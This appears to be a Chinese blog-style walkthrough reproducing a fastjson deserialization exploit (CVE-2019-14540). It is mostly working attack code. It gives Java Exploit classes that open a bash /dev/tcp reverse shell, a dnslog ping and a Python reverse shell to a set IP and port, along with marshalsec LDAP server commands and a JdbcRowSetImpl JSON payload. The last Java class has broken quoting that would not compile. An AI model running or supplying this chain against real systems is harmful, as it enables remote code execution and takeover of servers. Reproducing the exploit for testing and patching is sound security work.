fastjson反序列化复现

github：https://github.com/LeadroyaL/cve-2019-14540-exploit

git clone https://github.com/mbechler/marshalsec.gitmvn package -D skipTests

-DskipTests，不执行测试用例，但编译测试用例类生成相应的class文件至target/test-classes下。

import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;
public class Exploit{    public Exploit() throws Exception {        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});        InputStream is = p.getInputStream();        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;        while((line = reader.readLine()) != null) {            System.out.println(line);        }
        p.waitFor();        is.close();        reader.close();        p.destroy();    }
    public static void main(String[] args) throws Exception {    }}

javac Exploit.java 

python2:python2 -m SimpleHTTPServer 9090

python3python3 -m http.server 9090

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:port/#Exploit 9999

import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;
public class Exploit{    public Exploit() throws Exception {        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","ping sdf3g5.dnslog.cn"});        InputStream is = p.getInputStream();        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;        while((line = reader.readLine()) != null) {            System.out.println(line);        }
        p.waitFor();        is.close();        reader.close();        p.destroy();    }
    public static void main(String[] args) throws Exception {    }

{    "name":{        "@type":"java.lang.Class",        "val":"com.sun.rowset.JdbcRowSetImpl"    },    "x":{        "@type":"com.sun.rowset.JdbcRowSetImpl",        "dataSourceName":"ldap://ip:9999/Exploit",        "autoCommit":true    } }

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.13.132",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

‍‍import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;
public class Exploit{    public Exploit() throws Exception {        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.13.132",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"});        InputStream is = p.getInputStream();        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
        String line;        while((line = reader.readLine()) != null) {            System.out.println(line);        }
        p.waitFor();        is.close();        reader.close();        p.destroy();    }
    public static void main(String[] args) throws Exception {    }}